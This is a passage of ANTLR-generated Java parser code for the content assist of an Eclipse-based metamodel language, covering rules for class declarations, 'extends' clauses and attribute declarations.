pushFollow(FOLLOW_rule__ClassDeclr__Group__5_in_rule__ClassDeclr__Group__42423);
rule__ClassDeclr__Group__5();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__4"
// $ANTLR start "rule__ClassDeclr__Group__4__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1199:1: rule__ClassDeclr__Group__4__Impl : ( ( rule__ClassDeclr__AnnotationsAssignment_4 )* ) ;
public final void rule__ClassDeclr__Group__4__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1203:1: ( ( ( rule__ClassDeclr__AnnotationsAssignment_4 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1204:1: ( ( rule__ClassDeclr__AnnotationsAssignment_4 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1204:1: ( ( rule__ClassDeclr__AnnotationsAssignment_4 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1205:1: ( rule__ClassDeclr__AnnotationsAssignment_4 )*
{
before(grammarAccess.getClassDeclrAccess().getAnnotationsAssignment_4());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1206:1: ( rule__ClassDeclr__AnnotationsAssignment_4 )*
loop11:
do {
int alt11=2;
int LA11_0 = input.LA(1);
if ( (LA11_0==31) ) {
alt11=1;
}
switch (alt11) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1206:2: rule__ClassDeclr__AnnotationsAssignment_4
{
pushFollow(FOLLOW_rule__ClassDeclr__AnnotationsAssignment_4_in_rule__ClassDeclr__Group__4__Impl2450);
rule__ClassDeclr__AnnotationsAssignment_4();
state._fsp--;
}
break;
default :
break loop11;
}
} while (true);
after(grammarAccess.getClassDeclrAccess().getAnnotationsAssignment_4());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__4__Impl"
// $ANTLR start "rule__ClassDeclr__Group__5"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1216:1: rule__ClassDeclr__Group__5 : rule__ClassDeclr__Group__5__Impl rule__ClassDeclr__Group__6 ;
public final void rule__ClassDeclr__Group__5() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1220:1: ( rule__ClassDeclr__Group__5__Impl rule__ClassDeclr__Group__6 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1221:2: rule__ClassDeclr__Group__5__Impl rule__ClassDeclr__Group__6
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__5__Impl_in_rule__ClassDeclr__Group__52481);
rule__ClassDeclr__Group__5__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassDeclr__Group__6_in_rule__ClassDeclr__Group__52484);
rule__ClassDeclr__Group__6();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__5"
// $ANTLR start "rule__ClassDeclr__Group__5__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1228:1: rule__ClassDeclr__Group__5__Impl : ( ( rule__ClassDeclr__DeclarationsAssignment_5 )* ) ;
public final void rule__ClassDeclr__Group__5__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1232:1: ( ( ( rule__ClassDeclr__DeclarationsAssignment_5 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1233:1: ( ( rule__ClassDeclr__DeclarationsAssignment_5 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1233:1: ( ( rule__ClassDeclr__DeclarationsAssignment_5 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1234:1: ( rule__ClassDeclr__DeclarationsAssignment_5 )*
{
before(grammarAccess.getClassDeclrAccess().getDeclarationsAssignment_5());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1235:1: ( rule__ClassDeclr__DeclarationsAssignment_5 )*
loop12:
do {
int alt12=2;
int LA12_0 = input.LA(1);
if ( ((LA12_0>=17 && LA12_0<=18)||LA12_0==26||(LA12_0>=28 && LA12_0<=30)) ) {
alt12=1;
}
switch (alt12) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1235:2: rule__ClassDeclr__DeclarationsAssignment_5
{
pushFollow(FOLLOW_rule__ClassDeclr__DeclarationsAssignment_5_in_rule__ClassDeclr__Group__5__Impl2511);
rule__ClassDeclr__DeclarationsAssignment_5();
state._fsp--;
}
break;
default :
break loop12;
}
} while (true);
after(grammarAccess.getClassDeclrAccess().getDeclarationsAssignment_5());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__5__Impl"
// $ANTLR start "rule__ClassDeclr__Group__6"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1245:1: rule__ClassDeclr__Group__6 : rule__ClassDeclr__Group__6__Impl ;
public final void rule__ClassDeclr__Group__6() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1249:1: ( rule__ClassDeclr__Group__6__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1250:2: rule__ClassDeclr__Group__6__Impl
{
pushFollow(FOLLOW_rule__ClassDeclr__Group__6__Impl_in_rule__ClassDeclr__Group__62542);
rule__ClassDeclr__Group__6__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__6"
// $ANTLR start "rule__ClassDeclr__Group__6__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1256:1: rule__ClassDeclr__Group__6__Impl : ( '}' ) ;
public final void rule__ClassDeclr__Group__6__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1260:1: ( ( '}' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1261:1: ( '}' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1261:1: ( '}' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1262:1: '}'
{
before(grammarAccess.getClassDeclrAccess().getRightCurlyBracketKeyword_6());
match(input,22,FOLLOW_22_in_rule__ClassDeclr__Group__6__Impl2570);
after(grammarAccess.getClassDeclrAccess().getRightCurlyBracketKeyword_6());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassDeclr__Group__6__Impl"
// $ANTLR start "rule__ClassParentDeclr__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1289:1: rule__ClassParentDeclr__Group__0 : rule__ClassParentDeclr__Group__0__Impl rule__ClassParentDeclr__Group__1 ;
public final void rule__ClassParentDeclr__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1293:1: ( rule__ClassParentDeclr__Group__0__Impl rule__ClassParentDeclr__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1294:2: rule__ClassParentDeclr__Group__0__Impl rule__ClassParentDeclr__Group__1
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group__0__Impl_in_rule__ClassParentDeclr__Group__02615);
rule__ClassParentDeclr__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassParentDeclr__Group__1_in_rule__ClassParentDeclr__Group__02618);
rule__ClassParentDeclr__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group__0"
// $ANTLR start "rule__ClassParentDeclr__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1301:1: rule__ClassParentDeclr__Group__0__Impl : ( 'extends' ) ;
public final void rule__ClassParentDeclr__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1305:1: ( ( 'extends' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1306:1: ( 'extends' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1306:1: ( 'extends' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1307:1: 'extends'
{
before(grammarAccess.getClassParentDeclrAccess().getExtendsKeyword_0());
match(input,25,FOLLOW_25_in_rule__ClassParentDeclr__Group__0__Impl2646);
after(grammarAccess.getClassParentDeclrAccess().getExtendsKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group__0__Impl"
// $ANTLR start "rule__ClassParentDeclr__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1320:1: rule__ClassParentDeclr__Group__1 : rule__ClassParentDeclr__Group__1__Impl rule__ClassParentDeclr__Group__2 ;
public final void rule__ClassParentDeclr__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1324:1: ( rule__ClassParentDeclr__Group__1__Impl rule__ClassParentDeclr__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1325:2: rule__ClassParentDeclr__Group__1__Impl rule__ClassParentDeclr__Group__2
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group__1__Impl_in_rule__ClassParentDeclr__Group__12677);
rule__ClassParentDeclr__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassParentDeclr__Group__2_in_rule__ClassParentDeclr__Group__12680);
rule__ClassParentDeclr__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group__1"
// $ANTLR start "rule__ClassParentDeclr__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1332:1: rule__ClassParentDeclr__Group__1__Impl : ( ruletypeName ) ;
public final void rule__ClassParentDeclr__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1336:1: ( ( ruletypeName ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1337:1: ( ruletypeName )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1337:1: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1338:1: ruletypeName
{
before(grammarAccess.getClassParentDeclrAccess().getTypeNameParserRuleCall_1());
pushFollow(FOLLOW_ruletypeName_in_rule__ClassParentDeclr__Group__1__Impl2707);
ruletypeName();
state._fsp--;
after(grammarAccess.getClassParentDeclrAccess().getTypeNameParserRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group__1__Impl"
// $ANTLR start "rule__ClassParentDeclr__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1349:1: rule__ClassParentDeclr__Group__2 : rule__ClassParentDeclr__Group__2__Impl ;
public final void rule__ClassParentDeclr__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1353:1: ( rule__ClassParentDeclr__Group__2__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1354:2: rule__ClassParentDeclr__Group__2__Impl
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group__2__Impl_in_rule__ClassParentDeclr__Group__22736);
rule__ClassParentDeclr__Group__2__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group__2"
// $ANTLR start "rule__ClassParentDeclr__Group__2__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1360:1: rule__ClassParentDeclr__Group__2__Impl : ( ( rule__ClassParentDeclr__Group_2__0 )* ) ;
public final void rule__ClassParentDeclr__Group__2__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1364:1: ( ( ( rule__ClassParentDeclr__Group_2__0 )* ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1365:1: ( ( rule__ClassParentDeclr__Group_2__0 )* )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1365:1: ( ( rule__ClassParentDeclr__Group_2__0 )* )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1366:1: ( rule__ClassParentDeclr__Group_2__0 )*
{
before(grammarAccess.getClassParentDeclrAccess().getGroup_2());
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1367:1: ( rule__ClassParentDeclr__Group_2__0 )*
loop13:
do {
int alt13=2;
int LA13_0 = input.LA(1);
if ( (LA13_0==23) ) {
alt13=1;
}
switch (alt13) {
case 1 :
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1367:2: rule__ClassParentDeclr__Group_2__0
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group_2__0_in_rule__ClassParentDeclr__Group__2__Impl2763);
rule__ClassParentDeclr__Group_2__0();
state._fsp--;
}
break;
default :
break loop13;
}
} while (true);
after(grammarAccess.getClassParentDeclrAccess().getGroup_2());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group__2__Impl"
// $ANTLR start "rule__ClassParentDeclr__Group_2__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1383:1: rule__ClassParentDeclr__Group_2__0 : rule__ClassParentDeclr__Group_2__0__Impl rule__ClassParentDeclr__Group_2__1 ;
public final void rule__ClassParentDeclr__Group_2__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1387:1: ( rule__ClassParentDeclr__Group_2__0__Impl rule__ClassParentDeclr__Group_2__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1388:2: rule__ClassParentDeclr__Group_2__0__Impl rule__ClassParentDeclr__Group_2__1
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group_2__0__Impl_in_rule__ClassParentDeclr__Group_2__02800);
rule__ClassParentDeclr__Group_2__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__ClassParentDeclr__Group_2__1_in_rule__ClassParentDeclr__Group_2__02803);
rule__ClassParentDeclr__Group_2__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group_2__0"
// $ANTLR start "rule__ClassParentDeclr__Group_2__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1395:1: rule__ClassParentDeclr__Group_2__0__Impl : ( ',' ) ;
public final void rule__ClassParentDeclr__Group_2__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1399:1: ( ( ',' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1400:1: ( ',' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1400:1: ( ',' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1401:1: ','
{
before(grammarAccess.getClassParentDeclrAccess().getCommaKeyword_2_0());
match(input,23,FOLLOW_23_in_rule__ClassParentDeclr__Group_2__0__Impl2831);
after(grammarAccess.getClassParentDeclrAccess().getCommaKeyword_2_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group_2__0__Impl"
// $ANTLR start "rule__ClassParentDeclr__Group_2__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1414:1: rule__ClassParentDeclr__Group_2__1 : rule__ClassParentDeclr__Group_2__1__Impl ;
public final void rule__ClassParentDeclr__Group_2__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1418:1: ( rule__ClassParentDeclr__Group_2__1__Impl )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1419:2: rule__ClassParentDeclr__Group_2__1__Impl
{
pushFollow(FOLLOW_rule__ClassParentDeclr__Group_2__1__Impl_in_rule__ClassParentDeclr__Group_2__12862);
rule__ClassParentDeclr__Group_2__1__Impl();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group_2__1"
// $ANTLR start "rule__ClassParentDeclr__Group_2__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1425:1: rule__ClassParentDeclr__Group_2__1__Impl : ( ruletypeName ) ;
public final void rule__ClassParentDeclr__Group_2__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1429:1: ( ( ruletypeName ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1430:1: ( ruletypeName )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1430:1: ( ruletypeName )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1431:1: ruletypeName
{
before(grammarAccess.getClassParentDeclrAccess().getTypeNameParserRuleCall_2_1());
pushFollow(FOLLOW_ruletypeName_in_rule__ClassParentDeclr__Group_2__1__Impl2889);
ruletypeName();
state._fsp--;
after(grammarAccess.getClassParentDeclrAccess().getTypeNameParserRuleCall_2_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__ClassParentDeclr__Group_2__1__Impl"
// $ANTLR start "rule__AttributeDeclaration__Group__0"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1446:1: rule__AttributeDeclaration__Group__0 : rule__AttributeDeclaration__Group__0__Impl rule__AttributeDeclaration__Group__1 ;
public final void rule__AttributeDeclaration__Group__0() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1450:1: ( rule__AttributeDeclaration__Group__0__Impl rule__AttributeDeclaration__Group__1 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1451:2: rule__AttributeDeclaration__Group__0__Impl rule__AttributeDeclaration__Group__1
{
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__0__Impl_in_rule__AttributeDeclaration__Group__02922);
rule__AttributeDeclaration__Group__0__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__1_in_rule__AttributeDeclaration__Group__02925);
rule__AttributeDeclaration__Group__1();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__0"
// $ANTLR start "rule__AttributeDeclaration__Group__0__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1458:1: rule__AttributeDeclaration__Group__0__Impl : ( 'att' ) ;
public final void rule__AttributeDeclaration__Group__0__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1462:1: ( ( 'att' ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1463:1: ( 'att' )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1463:1: ( 'att' )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1464:1: 'att'
{
before(grammarAccess.getAttributeDeclarationAccess().getAttKeyword_0());
match(input,26,FOLLOW_26_in_rule__AttributeDeclaration__Group__0__Impl2953);
after(grammarAccess.getAttributeDeclarationAccess().getAttKeyword_0());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__0__Impl"
// $ANTLR start "rule__AttributeDeclaration__Group__1"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1477:1: rule__AttributeDeclaration__Group__1 : rule__AttributeDeclaration__Group__1__Impl rule__AttributeDeclaration__Group__2 ;
public final void rule__AttributeDeclaration__Group__1() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1481:1: ( rule__AttributeDeclaration__Group__1__Impl rule__AttributeDeclaration__Group__2 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1482:2: rule__AttributeDeclaration__Group__1__Impl rule__AttributeDeclaration__Group__2
{
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__1__Impl_in_rule__AttributeDeclaration__Group__12984);
rule__AttributeDeclaration__Group__1__Impl();
state._fsp--;
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__2_in_rule__AttributeDeclaration__Group__12987);
rule__AttributeDeclaration__Group__2();
state._fsp--;
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__1"
// $ANTLR start "rule__AttributeDeclaration__Group__1__Impl"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1489:1: rule__AttributeDeclaration__Group__1__Impl : ( RULE_ID ) ;
public final void rule__AttributeDeclaration__Group__1__Impl() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1493:1: ( ( RULE_ID ) )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1494:1: ( RULE_ID )
{
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1494:1: ( RULE_ID )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1495:1: RULE_ID
{
before(grammarAccess.getAttributeDeclarationAccess().getIDTerminalRuleCall_1());
match(input,RULE_ID,FOLLOW_RULE_ID_in_rule__AttributeDeclaration__Group__1__Impl3014);
after(grammarAccess.getAttributeDeclarationAccess().getIDTerminalRuleCall_1());
}
}
}
catch (RecognitionException re) {
reportError(re);
recover(input,re);
}
finally {
restoreStackSize(stackSize);
}
return ;
}
// $ANTLR end "rule__AttributeDeclaration__Group__1__Impl"
// $ANTLR start "rule__AttributeDeclaration__Group__2"
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1506:1: rule__AttributeDeclaration__Group__2 : rule__AttributeDeclaration__Group__2__Impl rule__AttributeDeclaration__Group__3 ;
public final void rule__AttributeDeclaration__Group__2() throws RecognitionException {
int stackSize = keepStackSize();
try {
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1510:1: ( rule__AttributeDeclaration__Group__2__Impl rule__AttributeDeclaration__Group__3 )
// ../org.kevoree.modeling.eclipse.ui/src-gen/org/kevoree/modeling/ui/contentassist/antlr/internal/InternalMetaModel.g:1511:2: rule__AttributeDeclaration__Group__2__Impl rule__AttributeDeclaration__Group__3
{
pushFollow(FOLLOW_rule__AttributeDeclaration__Group__2__Impl_in_rule__AttributeDeclaration__Group__23043);
rule__AttributeDeclaration__Group__2__Impl();
state._fsp--;
